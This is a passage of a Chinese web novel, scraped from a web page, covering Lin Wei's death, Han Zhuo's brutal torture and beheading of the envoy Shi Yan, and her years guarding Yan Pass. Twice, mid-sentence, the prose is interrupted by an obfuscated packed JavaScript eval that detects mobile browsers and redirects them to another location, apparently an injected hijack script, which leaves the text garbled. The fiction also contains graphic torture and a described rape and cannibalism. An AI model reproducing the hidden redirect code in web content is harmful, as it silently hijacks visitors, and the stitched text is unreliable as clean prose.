“不,”韩濯丢了魂一般:“我想信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15155421|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但我怕万一......他因为我信了而......” 林蔚开口道:“他不小了,小濯。” “他才十六岁!” “他奶娃娃时就在吃人的宫里混了,只有你还把他当孩子!” 韩濯将苦涩咽下去:“但不该这样......” “天下不该的事多了去了,”林蔚道:“你不可能把他当孩子一辈子,我也不会同意!” 韩濯愣了愣:“你不同意什么?” 林蔚的眼神中似乎有什么不可名状的东西涌动:“你把这个时代当成自己的日子过,本就蠢极了。但这毕竟是你自己的人生,你当了真,好,倒也无所谓,接着你还要在这污糟世道里过情关,好,也罢了,但你还想殷殷切切地守着一个没用的孩子浪费你自己的感情,我林蔚的女儿不能过这种日子!” 韩濯本来想辩一句,说他聪明良善,胸有丘壑,细心体贴温柔,更何况长得齐整漂亮,放在那儿看都延年益寿,除了有时候心口不一别别扭扭,哪里都很好,才不是没用,可听得最后一句时,舌头却忽然打了结:“你说我是你什么?” 林蔚止住了话头,她方才脱口而出,有些后悔自己嘴快,她明明没做过娘,即便突然多了个这么大的女儿,那也是回去之后的事了。 林蔚还没来得及说话,便觉胸口一甜,一口鲜血涌出,滴滴隐没在玄色衣襟上,韩濯脑子嗡地一声,忙上前将人扶住:“堂主!” 林蔚竟然笑了笑,骂道:“这帮羯族人真是会偷工减料,比我预想的早了五天。” “你干什么!”韩濯吼了出来,惊起一片鸟雀:“剩下的药呢?你一定有后手对不对!” “我想早些回去......”林蔚的声音小了些:“事情办好了,我便一天都不想在这儿多呆,小目和天元之后会帮你,我的决定,她们都知道......” “药呢?药在哪里?”韩濯惶惶道:“快告诉我,我求求你......别这么对我......” “小濯,你成全我吧,”林蔚道:“在大齐的每一天,我几乎没有一日快活......” “妈妈,你告诉我,你为什么这么执着要回去,你是不是......你......” 林蔚看着韩濯,微微笑了起来。 韩濯几乎要崩溃:“不,不是这样的,你听我说!” 林蔚的眼神似乎飘到了很远的地方,回首在大齐的一世,故去的师父,决裂的知交,命丧的故友...... “我亦飘零久,十年来,深恩负尽,死生师友......”① 她深深叹出一句,接着看着韩濯道:“我回去后,不久便能和你重逢,你该为我高兴。” 韩濯怔怔瞧着她,林蔚似不理解一般,又道:“你不该么?” 她的重逢是她的初见,她的新生是她的诀别。 韩濯知道,自己真正陪她走完了一辈子。 如果早知结局,要不要给当局者一个甜蜜而虚幻的期冀? “我知道。” 她知道什么? 林蔚整个人跌了下来,靠在韩濯的怀中,似乎还有什么想说,可眼神却不见丝毫不甘。 “你回去后就当没见过我,好不好,求求你,我不叫你妈妈了,不,你本来就不是我妈妈......” 林蔚笑了:“不会撒谎的傻子。” “记着,无论发生什么事都莫要认真。” “再见。” 她的呼吸停止了。 注①:顾贞观《金缕曲》 66. 骨肉生香 韩濯忘记了自己是怎么回去的。 她将林蔚抱在怀里,林蔚的身躯还是热的,被负在背上时几乎像是还有呼吸,天边一盏冷红的日已经爬了上来,照出一片虚假的早春。 韩濯背着林蔚,几乎有些想笑。 这一切发生的实在过于突然,和上辈子林蔚平静地通知自己她癌症晚期只剩下三个月一样突然,韩濯觉得自己像个笑话。 不久前,林蔚还告诉自己“要对自己好些”,就在刚刚才又一次叫自己“小濯”,而现在就这么随随便便成了一副空荡的凡人躯壳,奔向那个韩濯已经知晓的结局中去。 韩濯背着她,想起四岁,或是五岁时,自己曾冲着拎着一袋又一袋生鲜蔬菜的林蔚说:“妈妈,我帮你拿,我可有力气啦!” 林蔚没反驳没拒绝,笑呵呵递了个装着整个西瓜的袋子给她,韩濯咚地一声被对她来说还过重的西瓜带得坠在地上,引得林蔚哈哈地笑。 如今她肩背可靠,已能负得动林蔚了。 春风偶过,萧萧兮木叶下。 “这怎么办,打还是不打?” “公主还在他们手上......” “那也不能就这样教元帅真的听他的去单刀赴会啊!” “话说回来,将军自己在帐里呆了许久了,什么时候出来?她不发话,我们叽叽喳喳有个球用?” “这......殿下毕竟是元帅的妻,她最难抉择。” “这是事关边关安危的大事!为将帅者怎可像她这么优柔寡断,要我说,朝廷就不该派这么个没打过仗的小白脸过来!” “她是老侯爷的亲子!老程,你说话前带着点脑子!” “你......” 军帐被豁然掀开,方才还叽叽喳喳的将领见了来人,都噤了声。 吴钩方才立在一帮话格外多的老将军旁边,没插过一句嘴,此时如同见了救星,喜道:“二公子。” 韩濯点了点头,并没露出什么多余的神色,只是眉头拧得能夹死苍蝇,她沉静道:“程将军,苏将军,你们有什么意见,大可以现在就当着我的面提!” 苏将军要拉住那长了满了纠结灰败须发的老头上前,却没拉住,程将军将眉毛一横,鬼头刀刀尖拄在地上,粗声粗气道:“将军,我大半辈子都守在雁关,杀过的胡人比你吃过的米都多,你小时候随侯爷也来过雁关,我们也算是看着你长大的,那我今日便也卖个老。当年雁关遭劫,我们多少年年轻兄弟和雁关百姓死在那帮羯族人的手下,三天三夜啊,那一个月雁河的水都被他们倒下来的肉汤腻住了,如今好不容易他们遭了天谴内部起火,不趁这个时候杀进去,更待何时?” 这屋子里的老将军有不少都经历过当年的那一战,当时正当壮年,如今却已两鬓斑斑,虽然觉得程将军性子鲁莽,却心里多多少少也是这么想的。 “我老程之前听说将军来,日盼夜盼,就等将军一声令下我们杀进去报弟兄们的仇,可如今凭空出了一个碍事的殿下来,将军顾忌着殿下的安危,我们又何尝不惦记,但这雁关的百姓,我们死去的兄弟夜夜入梦,我老程没睡过一夜安稳觉,他长宁公主高坐明台上,又何曾看过这些生民一眼?莫说是什么鬼殿下,便是大罗神仙来了,我也看不上,照打不误!将军犹豫不打,我这个老东西单枪匹马去打,就算我死在那儿,也是死得其所!我问心无愧!” 这是在逼迫了,众人听他说了这一番大逆不道的话出来,都吓出了一身汗,这话若是传出去,难道能便宜了他?程将军提着刀便迎着韩濯向外冲,被众人乌泱泱一片拦下了。 “都停手!” 混乱间,程将军只觉得手上重量一轻,那沉重的鬼头刀与铁器摩擦,发出了叫人牙酸的声音,跌落于地发出巨响。 韩濯收刀入鞘,面沉如水。 程将军怔了怔,这刀足足有几十斤重,除了老侯爷,还没人挑得动。 “我竟不知,如今雁关到底是谁挂了帅?还是说老将军您资格最大,我这个愣头青的小庙容不下您这座大佛?” 程将军瞪着眼睛瞧韩濯,忽地笑出来:“我是老家伙了,哈哈!廉颇老矣,该惹他们这些小子厌嫌......” “不,”韩濯将鬼头刀拾起,在她手中,这笨重得厉害的刀倒好似镴做的,韩濯将刀提至身前:“这鬼头刀,便是老将军在如今驻守雁关的年轻兵士里挑,也未必能找到一个提得动的,更遑论扛着上战场。” 程将军迟疑了一下,没听明白韩濯是什么意思。 “老将军方才说了这么多,足见用心良苦,但是,”韩濯定定睨着旁人道:“我几时说过不打?” 程将军一愣。 韩濯面色阴沉,忽地扛起鬼头刀,宽大的刀身一闪,那笨重的银光在韩濯手臂上盘桓了一周,又复重新沉沉立在地上,而韩濯手上一缕青丝,随着刀风微微荡出两线。 “石勒要打,公主,我也要救!” 众人被她这一出惊得呆在当场,苏将军终于忍不住轻轻道:“元帅......我们不能再耗了,总要做个决断才是。” 韩濯拧了拧眉:“我幼时随父亲来过雁关,诸位说起来都是我的长辈,当年牺牲百千袍泽弟兄之仇,自然也有我的一份,我不是没有血性的禽兽,我今日断发为誓,不破石勒,便犹如此青丝,身首异处,死后也不得安宁!” 程将军定定问道:“当真?” 韩濯曲指立誓:“有半句虚言,天诛地灭。” “好!”程将军道:“如此,甘为元帅鞍前马后,听凭差遣!” 韩濯冷冷笑了一声:“我年轻势微,有程老将军在先,此后怕是这仗还没打,便先成了空挂的元帅。” 程将军一愣,随后半跪于地:“末将甘愿领罚!” “吴钩。” “属下在!” “带老将军下去,领十军棍。” “是!” 程将军面色丝毫未动,跟着吴钩便要向外走。 苏将军大惊,对韩濯道:“元帅,老程他岁数大了,实在......” 可对上韩濯的目光,他又重新噤了声。 “诸位都是大齐的忠臣良将,在我父亲和兄长麾下,守了雁关一辈子,我奉陛下之命挂帅,日后更少不了诸位的教导,方才我是元帅,可如今我也是诸位的晚辈,我虽年轻气盛,却也不是刚愎自用之人,这场仗怎么打,能不能这么打,还需要诸位点头,我才有把握拍板。几十年的血债要在今日清算,成败在此一举,韩某在此谢过诸位了!” 帐内众人沉默片刻,皆齐声应是。 韩濯随意地将断发一抛,开口道:“殿下不仅仅是我韩某的妻,也是大齐的公主,殿下的性命关乎大齐的颜面,于公于私,我也不能放任不管,那石严既然邀我详谈,我便去单刀赴这个会。” 苏将军大惊:“元帅,那人阴毒狡诈,怎能教您单枪匹马只身深入虎穴?” “我并非单枪匹马。”韩濯道:“还需要诸位的帮忙。” 残阳如血,将狼头旗照成欲燃艳色,在风中猎猎作响。 营帐两侧的铜灯烧得正旺,韩濯路过时微微停顿了一下,向铜灯那侧瞥了一眼,只见那灯油粘稠发黑,似有丝丝块块的残渣,隐隐能闻见一种油脂的焦糊臭味,和普通的灯油不同,这种味道闻起来叫韩濯本能地反胃恶心,她微微皱了皱眉头,并未多做逗留。 “侯爷单骑闯营的胆色,在下实在佩服。” 韩濯闻声颔首,手却轻轻按上腰间佩刀:“有劳您费尽心思邀我赴会,不能拂了一番美意。” 帐中的毛毡后头闪出了一个人来,相貌和中原人并没有显著的不同,只一双眼睛是金色的。 “英武韩家名声在外,我这些年来奔走南北,早就想见识见识您的风采。” 他的中原话十分地道,可细听却仍然能听出有个别的吐字有些怪异。 “今日我为何来,你我二人都心知肚明,我是个粗人,不比殿下,兴你们经商之人那些虚与委蛇,”韩濯见石严坐在了鹿皮椅上,而自己无位可坐,便也毫不顾忌地抱臂坐在了羊毛毡铺就的桌子上:“说吧,你的条件。” 石严见韩濯土匪一般的做派,并未露出什么意外,他倾身向前,从壶中倒出两碗冷酒:“侯爷何必心急,说起来我取汉名,也是半个中原人,你们要灭曲支陆,我算是帮了你们,大家都是朋友,大可不必把我作外邦人对待,来,这碗酒我敬您!” 韩濯接过酒碗,方欲饮下,临了却停住了,似乎是听说了什么好笑的事一般嗤了一声:“好一个朋友,荒郊偷袭,掳人妻子,你们羯族人这样的朋友,在下可不敢交。” 石严闻此,似乎有片刻的僵硬,随即道:“侯爷严重了,只是仰慕殿下风姿,留人在石勒做客而已,你我结盟御敌,此后雁关南北各自安好,何尝不可呢?” 话还未说完,一片银亮的刀光在眼前一闪,石严蓦地一惊,一把匕首深深插进了鹿皮椅子上,离他的左手只有寸余,韩濯站了起来,阴影将石严笼罩。 “我不是来拉家常的,”韩濯道:“我说过,我没兴趣和你们虚与委蛇。殿下在何处?” 石严却吃吃笑了起来:“我哪里虚与委蛇,条件我早就提了,就看侯爷您愿不愿意。” 韩濯盯着他看了片刻,也笑了起来:“既然都不愿意让步,那你我今日还谈个什么?” 韩濯缓缓走近石严,挡住了本就有些昏黄的灯光,在石严还以为要动真刀真枪之时,韩濯却退开了,将那插在椅子上的匕首拔了出来。 “侯爷这是要走?” 韩濯未答,只继续转身朝帐外走,石勒的营帐安静得出奇,几乎能听见营外火盆哔剥的燃烧声,偶然听见两声山鹰的唳啸。 “殿下三日前还生了场病。”石严在身后缓缓道。 韩濯停了下来,冷声道:“你威胁我。” “不敢,”石严道:“病得很是厉害,烧得糊涂,听人说,病重还喊着侯爷的名字。” 石严如愿看见韩濯阴沉着脸转了过来:“羯族人嘛,愚昧不开化,纵然殿下身份尊贵,我也不敢教巫医乱给他治不是?” “带我去见他,”韩濯道:“见到了,我才能给你答复。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15163703|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >石严笑道:“哪里的话,侯爷有万夫不挡之勇,若是中途出了差错......除非...” 他说着,重新拿起那碗酒。 二人伫立片刻,谁也没有移动分毫。 帐外鹰唳之声更近。 下一秒,韩濯动了。 石严只觉刀光一闪,那碗酒“当啷”一声被打翻在地,酒液浸湿了半面衣衫,散发出一阵奇异的香来,而石严觉得有什么不对,低头看向自己的手,愣了片刻才大叫起来。 与酒碗一同跌落的,还有石严的三根手指。 石严的喉咙触到了刀刃,因大叫而震动的喉咙接触到寒刃显得有些瑟缩,韩濯反手握刀,将人逼向绝路。 “傀儡丹......你们的招数不过就是那些翻来覆去的把戏罢了。” “你......” “你若是真能动真章,还用得着费这等功夫?”韩濯冷声道:“你虽制住了支曲陆,但他的部下不听命于你,也是白搭,想借大齐的势,凭你也配!” 石严突然疯了一般笑了起来,简直好像喘不过来气:“哈哈哈哈哈......我还道你真敢单刀赴会,原来不过也是孬种一个......” “殿下到底在哪!” “你暗中叫人找了那么久都没找到,急了?” 韩濯沉声道:“我看现在还是你比较急一些。” 这时,帐外闯进了两个黑衣人和一个身穿道袍的女子:“侯爷。” 韩濯挥了挥手,并未回头:“韩家军已蓄势待发,只等我一声号令,你若在信火点燃之前交代,说不定我会留你一命。” 石严呵呵吐了几口气:“留我一命?石勒若灭,留我何用?” “你从前行商南北,这些日子你如今不认了?” “我从汉人肚子里托生,族人本就不认我,我到了汉人那,汉人又称我是蛮夷怪物!你道我为何漂泊多年,居无定所?”石严道:“我蛰伏几十年,为的就是今日!” 他的眼睛通红,竟然抵着刀剑欲撞上去,韩濯一惊,却也未退,倒转刀柄狠狠一击,在石严的大叫声中卸了他的两个胳膊。 “天元,小目!” 两个黑衣女子飞身上前,利索地将人捆了。 “殿下到底在哪?” 石严因痛苦而扭曲的脸一阵抽搐,一边痛出了眼泪一边神经质一般笑了起来:“哈哈哈,呵呵呵呵呵呵......” “说话!” “你真的想见?” “别废话!” 石严红着眼睛,狞笑道:“哪怕只剩一颗头,一条大腿?” 李三三倒抽一口凉气。 韩濯心里突地空了一块,可凭着理智站稳了,她怒极,手起刀落砍下了石严的左耳:“说实话!” 石严痛得嘶吼起来,嘶吼声混着阴恻恻的笑声:“我说实话,哈哈,您又不爱听......您别忘了,我们羯族人是吃人的啊......” 韩濯几乎疯了,一连朝石严身上捅了好几个窟窿,那人哇哇大叫起来,却不肯安静,疯了一般道:“你不知道,公主和当初我那汉人母亲一样,花一样的肌理,这样的身子真不舍得就这样随随便便煮了来......我杀他之前,狠狠尝了一回滋味,他真美啊,把我哭得浑身都燥,他那时一直叫你的名字,但一直没等来,你不知道,我们把女人叫做两脚羊,大腿像最嫩的羊羔,乳似馄饨鲜美......” 李三三心跳得仿佛要炸开,几乎眼前发黑,一阵阵呕意涌上来,却强行忍住了,她瞧向韩濯,生怕她崩溃,可看见韩濯的那瞬间,李三三却愣住了。 石严突然不笑了。 他瞧见韩濯微笑起来,抓起了刀,缓缓捅进了自己的眼眶。 石严发出了杀猪般的惨叫。 韩濯疯子一般癫狂地笑出声,笑得几乎停不下来,她手上动作依然坚定,缓缓将刀拔出。 那拔出的刀剑上尚有筋肉黏连,插着石严的眼球。 “你在骗我。”韩濯轻轻道:“关于公主的事,你知道的太少,既然你不知道,我看你也不必活了。” 随后思考了片刻,歪了歪头,神态甚至有些天真,李三三看着这样的韩濯,起了一身鸡皮疙瘩。 “但你死得太痛快,我也不高兴。” 那把宋青瑛送的刀像锯子一般,缓缓地割磨着石严的脖颈,他的头被韩濯牢牢制在掌中,动不得分毫。 韩濯的表情几乎称得上兴高采烈,她仿佛回到了灌州打木轮一般,缓缓,精细地割断了石严的喉管,李三三没忍住,终于转过身去吐了。 帐外已经乱成一片,数十个路路通的黑衣人在营帐上飞度,信号弹尖啸着冲上天空,在紫色夜幕中炸开一片红金火花。 韩濯走出营帐,火光映照得她半边脸明灭不定,她手中提着的人头血水尚滴答未尽。 韩家军的喊杀声似乎隐约地传进耳膜,韩濯提头四顾,乌压压的野云垂向枯梢,关山万里,踪迹茫茫。 不知是庆幸还是什么别的,她低低笑了起来,几乎直不起身,可抬起头来时,已满脸是泪。 67. 五载风霜 雁山连绵,又近晚春,东风拂面仍有些干燥,熏得人昏昏欲睡。 “元帅,今年新入伍的名册已经录好了,请您过目。” 一个年轻的兵士垂首,对左侧前方一个挺拔的背影道。 “元帅?” 断雁关上风大,刮得人皮肉发紧,前面那人似乎听不见一般继续前行,眼瞧着离兵士越来越远。 那兵士追上前去,还欲再叫,肩膀却被身旁一个女子拉住了,他抬头一瞧,见这女子杏眼灵动,色如晓花,正是军医李三三。 “元帅近来正为新研的军火发愁,一想起来便如醉如痴,是雷劈在眼前也叫不醒,你先去给吴钩将军,教他收好,等元帅得空后处理。” 那兵士到了声“是。”只觉得这名声在外的英武侯着实是当世高人,性情古怪些也实为正常,倒也不敢置喙,依了李三三之言下山去了。 李三三待那兵士离开,轻轻叹了口气,疾走几步追上前方那人,绕到左侧喊了声“喂”,拍了拍她的肩膀。 李三三对上韩濯的眼睛时,先是被眼神中凌厉的杀意唬了一跳。 韩濯方才突然被人拍了肩膀,下意识警惕起来,见李三三的反应,才回过神来将方才的戾气收得干干净净,恢复了往常模样,对她笑了笑道:“怎么了三三?” 李三三心里犯嘀咕,正色道:“没事不能找你?今天觉得怎么样,吴钩说你又没喝药。” 韩濯笑道:“老样子,一下子忙忘了,回营后我一定.......” “你别一定,”李三三打断道:“上回阿信把碗在火上煨着,我看见时药都干成渣了,你自己不上心,耳朵怎么能好?” 多年来韩濯驻守雁关,一门心思地改良军火,火枪火炮火弩之类已在军中初步普及,颇具规模。五年前破石勒一役后,她身上似乎有什么东西也和长宁公主的人一起不知所踪了去,平日里作战练兵更是不苟言笑,虽赏罚分明,言语也并非暴戾凶狠,可周身都有一种难以忽视的威压,有些兵士私下里叫她玉面阎王,如今看来,却也不委屈她。 也就只有李三三等人,还敢和韩濯开一开玩笑。 “不好便罢了,我吃了药,也并没觉得有什么好转,更何况你也说根治不太可能。” 两年前韩濯研制新型火炮时不慎走火,被炸了个结结实实,后来虽性命无虞,但右耳却嗡鸣不止,七日之后,右耳竟全然听不见了。 “聊胜于无。”李三三道:“喝了说不定能好,不喝一定好不了,况且我也在一直改良药方,你若是因为不坚持喝砸了我的招牌,看我怎么收拾你。” 韩濯笑道:“李大夫的药太苦,苦了这些年,谁能忍住不躲两日懒?” “良药苦口,”李三三无情道:“你也忒娇气,还需要有人哄着你喝?全怪殿下把你惯......” 见韩濯愣了愣,李三三才反应过来自己说错了话,想打哈哈糊弄过去却没想到新的话术,便干脆也闭了嘴。 韩濯沉默少顷,开口道:“钱的事已经解决了,有人愿意和我们做这笔生意。” 李三三惊讶:“又这么快?” 韩濯点了点头,但眉宇之间和李三三一般的疑虑。 炸药,火枪,这些东西一批批研究乃至推行出来,全都需要钱,韩濯管朝廷要了几次,但明显朝廷觉得有英武侯驻守便已经万事大吉,要银子去做些听着就虚无缥缈的玩意实在是放屁,但他们还得指着英武侯守国门,面上也不能太过不去,只能意思着扣扣嗖嗖给了一点应付过去,但对于韩濯来说,不过是杯水车薪。 韩濯不当家不知柴米贵,第一回陷入囊中羞涩的窘境,但这窘境没有持续太久,几乎是刚瞌睡就有人递枕头,最开始是江南的哪位世家以承蒙百年圣恩,欲图报国为由捐了千两银子充了军饷,后来又是岭南行商,京城富户......总之,韩濯似乎天生命里带财,离了宋青瑛,还能抱上其他金大腿。 韩濯道:“我总觉得,这些未免太过巧合......这情形也似曾相识,你说我找了他这些年,虽从来未见形影,但我有时冥冥之中觉得他...会不会是他......”她说了半句,又觉得希望一出口,失望必定随着脚后跟就来,于是闭了嘴。 李三三明白她想说什么,张了张口,最后到底也没吱声。 两年前韩濯被火药迎面炸得够呛,多亏消息封锁得严,不然北边诸部这时候来犯,韩家军拖着个生死不知,不省人事的元帅,纵然不至守不住断雁关,但依旧够他们喝一壶的。 那时韩濯整个人神智都不大清醒,耳畔嗡鸣仿若山呼海啸,头痛欲裂,蓦然闻见一股及其熟悉的白檀香,有一双温凉修长的手给她侍药,她眼睛因伤包了白布,什么都看不清,迷迷糊糊中叫了声“阿瑛”,却未得到一丝回应。 那正是病情最凶险的时候,据李三三转述,她半条腿都跨进了鬼门关,事后韩濯觉得大概是自己走马灯了,军营重地,哪里能是人想来就来,想走就走的? “张大成之前来信......”韩濯睨着李三三的神色道:“没什么大事,又是来问你平安的,他在阴山北过着冰天雪地的日子,没有什么亲人朋友的,也是蛮寂寞,你不去看看他?” 李三三撇撇嘴道:“入夏了再说吧,那边实在太冷,他爱过去受罪,我可不喜欢......” “人家多少算个王,”韩濯笑道:“从山匪摇身一变成阴山王,在你嘴里就成受罪了?” 李三三耸了耸肩,道:“过得不舒服就是受罪,什么王爷公主,侯爷将军,贵妃娘娘的,在我看来都是受罪。旁人都说你远离京城,来雁关过苦日子是为国辛劳尽尽忠,不过我倒觉得还是远离庙堂自在些,你瞧瞧吧,京城那堆烂事不知道什么时候又要鼓包。” 韩濯笑着摆摆手,心知李三三说的没毛病,自宋青瑛失踪后,她更不愿掺和到朝堂那些阴谋阳谋里,一心只想着多推行些新式军火,找准机会联合北边称王的张大成将这些乱七八糟的胡虏一锅端了才老实,不然年年来打秋风,实在烦也烦死了。 但即便如此,她也听说了不少朝中之事,王公辅是圣上亲舅舅,更何况当初圣上登基之前九死一生之际,多亏了王公辅隐忍谋划才保得平安,自然几年来颇具圣宠,但王公辅做了右相重权在握,虽帮圣上做了不少棘手的事,可日子一长,朝中难免又有了结党的风气,右相一党成日里忙着拍王公辅马屁,反对右相的一党几乎成日里写折子弹劾,说如今右相专权,王氏一家独大,有外戚干政之嫌,逼着皇上降王公辅的职,要么就废了王皇后,七嘴八舌递了一堆乱七八糟无理取闹的折子,搞得鸡飞狗跳,险些在朝会上动起手来,万年清流崔倍为此头疼得厉害,前不久还给韩濯写信抱怨过。 “当年皇后娘娘遭逢宫变,面对反贼仍不卑不亢,联合右相行''狸猫换太子''之法,保全了当时年纪尚幼的小太子,此等沉稳与智计令我等须眉都汗颜三分,我虽也觉得右相专权不是好事,但王皇后何罪之有,若为了弹劾右相而要把皇后拉下水实在不妥当。” 韩濯隔着一张信纸,都能想到柳腰儿在她面前哀声叹气的模样了。 不过那帮乌泱泱的文官还没吵出个结果,右相声称因着自己微末之身引得朝堂上下不得安宁,更引得陛下为难烦心,自请革除右相一职,收拾铺盖回家去了,朝野上下无不骇然,那帮弹劾右 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李三三朝韩濯挤了挤眼睛,拉着韩珺的手朝山下走,韩濯吼完人,看着韩珺的模样一下子便心软后悔了,哪里会拦着李三三带她下去耍? 韩濯嘀咕了一句:“嫂嫂把她托付给我是要教她成才的,我是不是之前太惯着她了......” 平日里不爱读书习字,坐不住板凳也就罢了,连武艺也练得十分稀松,这样下去韩家真是要后继无人,韩濯这么想着,却回想起韩珺没掉下来的小金豆,到底没下决心日后对她要求得严厉些。 算了。 韩濯想道:人这一辈子舒心快乐的日子也就几日,若是连孩子时都不得自在,日后还拿什么来慰藉呢?她爱玩就玩去,等长大了再说,孩童时总是要快意些,若是人人儿时都像宋青瑛那样无人依靠,也太...... 她又想到宋青瑛,便迫使自己止住了思绪。 有时候人不是不想,而是不敢想,韩濯五年来照例放人出去搜寻公主的踪迹,大江南北,北方各部,北至阴山南到闽南都寻遍了,偏偏一点消息也没有,旁人不说,心里也暗暗觉得长宁公主还活着的希望实在渺茫,却人人都不敢明说,生怕灭了韩濯剩下的一点念想,石勒灭国那一日,人人都见到韩濯如同阎罗一般杀红了眼的模样,若是她再发起疯来,不一定能干出什么事来。 可五年来唯梦闲人不梦君,韩濯每每夜半醒来,常觉月照孤影,总是寂寥。 李三三和韩珺走了,长城之上又只剩下了韩濯一人,四野茫茫,春风也萧瑟,韩濯看向长天两只齐飞鸟雀,心中怅惘之情暂生,暗自庆幸无人在侧,她偷得片刻时间去矫情。 “元帅。” 这次韩濯听清了,转身见是吴钩,便即收拾心思道:“吴钩兄弟,是有了什么事么?” 吴钩上前递了什么东西给韩濯道:“是陛下。” 韩濯也没见有什么恭敬,像往常一样随便看了两眼,可随后却是一愣。 吴钩见韩濯面色有异,有些疑虑,往日皇帝的信,内容不用看就能猜个八九不离十,不过是圣上为了表示恩宠,在圣旨里写些壮语以慰驻守雁关的军士罢了,说得难听些,就是放些没用的漂亮屁。 可这回明显不同往日。 “元帅?” 韩濯恢复了往日的样子,道:“不是什么大事,今年万寿节,我得回西京述职,给他老人家祝寿。” 算来,她已经五年未回京城了,也并不想回,但这回的确应该带着韩珺回京见一见,她母女分离太久,总是不好。 韩濯呼出一口气:“走吧,回营。” 68. 天上人间 夜深千帐灯。 “元帅。” 韩濯对着两个尚守在帐前站岗的小兵点了点头,刚走出几步,鬼使神差又回去了。 两个小兵被自家元帅直勾勾地面无表情盯得发毛,愣是没一个敢和她目光相接,腰杆挺直了些,悄悄咽了一口口水。 “什么时候换班?” 韩濯盯了半天,冷不丁问了一句。 “啊……哦,哦…快了!” 另外一个小兵嫌他对元帅回话没规矩,从背后给了他一肘子,力度没控制好,怼人一个趔趄。 韩濯:…… 无语片刻,她干巴巴道:“换班后早点歇着。” 韩濯许久不对旁人说这些没什么用的寒暄废话,说完了她自己也不适应一般抽了抽嘴角,大踏步走了。 两个兵士面面相觑。随后有些激动地红了脸:“元帅刚才是不是关心咱?” “好像是……不,就是啊!” 韩濯走到一方小帐前,灯火还亮着,韩珺没睡。 李三三白日和她说过,韩珺这小丫头被她吼了一通,到底是伤了心,连去集市给她买新衣裳都兴致缺缺,一张小脸板得老长。 韩濯踌躇片刻,窝窝囊囊地踢了踢帐边的石子,状似不经意地像周遭瞧了瞧,确认无人后,拉开了韩珺的小帐。 韩珺背对着她躺在床上,一动不动,好像是睡了。 韩濯叹了口气,似乎是转身又出去了。 韩珺人才那么点点大,却早早学会了好面子,她刚才终于掉了些白天没好意思掉的金豆豆,知道韩濯来了也瘪着嘴不出声。此刻感觉人走了,才吸吸鼻子爬着坐起来,李三三还没回来,一片寂静中只有灯花偶尔炸开,她一个人怕鬼,忍不住抱紧了杯子,心跳都快了。 “小丫头装睡,抓到你了!” 韩珺吓得一抽。 实在怪不得韩珺,本来自己睡就怕,韩濯从帐侧阴影里突然冒出来,脸上半明半暗,再加上五年军营里泡出来的一身微妙煞气,成年人都能被吓死。 “我就知道……诶?珺儿……” 韩珺吓得眼泪立刻出来了,而随后持续流泪的原因不是害怕,而是铺天盖地的委屈,大颗大颗的眼泪掉下来,把韩濯哭得肝儿颤。 “……珺儿。” 韩珺终于憋不住嚎啕起来。 韩濯笨得忘了怎么走路,她怕矫情,不太会哄小孩,韩珺还小的时候,李三三很体贴地把养孩子的活揽了过来,毕竟那时候的韩濯整个人都不是很对劲,韩珺一哭她也只会木楞楞地在一旁看,手脚都不知道往哪里搁。 最后,她还是缓缓上前去,有些僵硬地将韩珺抱在了怀里。 怀前很快湿了一片。 韩濯轻轻抚着小丫头的后背,爪子动得十分机械。 小孩子如果哭,有个大人依傍着便越哭越伤心,韩濯也知道这个时候不能哄,等她哭累了,呼吸渐渐平缓,韩濯才捋了捋她的头发,道:“不哭。” 韩珺抽了抽鼻子。 “我给你买了匹小马驹。” 韩珺慢悠悠地抬起头来。 韩濯心中觉得自己这样实在有些可耻,用这种东西来补偿孩子实在不是个很好的教育方式,但她也暂时想不到还能怎么办了。 韩濯想了想,将韩珺抱到床上躺好,刮了刮她的鼻子,随后长长叹了一口气,躺到了韩珺身边,悠悠道:“珺儿赶不赶我?” 韩珺没吱声。 韩濯叹了口气道:“是姑姑不对,你......如果现在不愿意叫我姑姑也没事,这些年来,我对你的关心毕竟少些,终究没资格对你这样吼。” “你能不能原谅姑姑?” 韩珺没说话,但是把小脸往韩濯怀中埋了埋。 怀里抱了这么个热乎乎面团团的小东西,韩濯久违地从心底涌出一种温暖而微妙的感觉来,可她的手触上韩珺的脖颈,幼弱的血管在她布满细小伤口和刀茧的指下涌动时,她本能地想狠狠地......扭下去。 “姑姑?” 韩濯从这扭曲的感受里回过神来,狠狠喘了一口气。 对上韩珺的眼睛,韩濯出了一身大汗。 “我是怎么了?”韩濯惶然想道:“我是不是真的要疯了?” 她突然觉得害怕,似乎和林蔚一样死掉才是解脱。 抛掉在这儿的一切,什么韩珺宋青瑛,陛下白兰茵,都统统见鬼去好了,她要回去,不惜任何代价。 “姑姑!你怎么了?” 韩濯被一句呼喊拽了回来,下意识手指离开了韩珺的脖颈,把她从怀里拔出来。 “没事,姑姑就是有些怕黑。” “姑姑也会怕黑?” 真是奇了怪了,韩濯竟然也有怕的东西。 韩濯勉强笑了笑,努力调整了一下自己的表情,开口道:“珺儿,过一阵,你随我回京城一趟。” 韩珺一下子坐了起来:“真的!” 一双大眼里闪着光。 韩濯被韩珺这个样子拽回了人间,笑着道:“当然是真的。你想带什么东西,这两天自己收好,最好别教李姨操心......” 可韩珺的表情慢慢敛了起来,小手揪着被子,扭捏道:“去京城,是不是能见很多人?” 韩濯道:“去见娘,珺儿想不想娘?” 韩珺低下了头:“不想。” 嘴硬,也不知道随了谁。 韩珺随后补充道:“反正,娘也不喜欢我。” 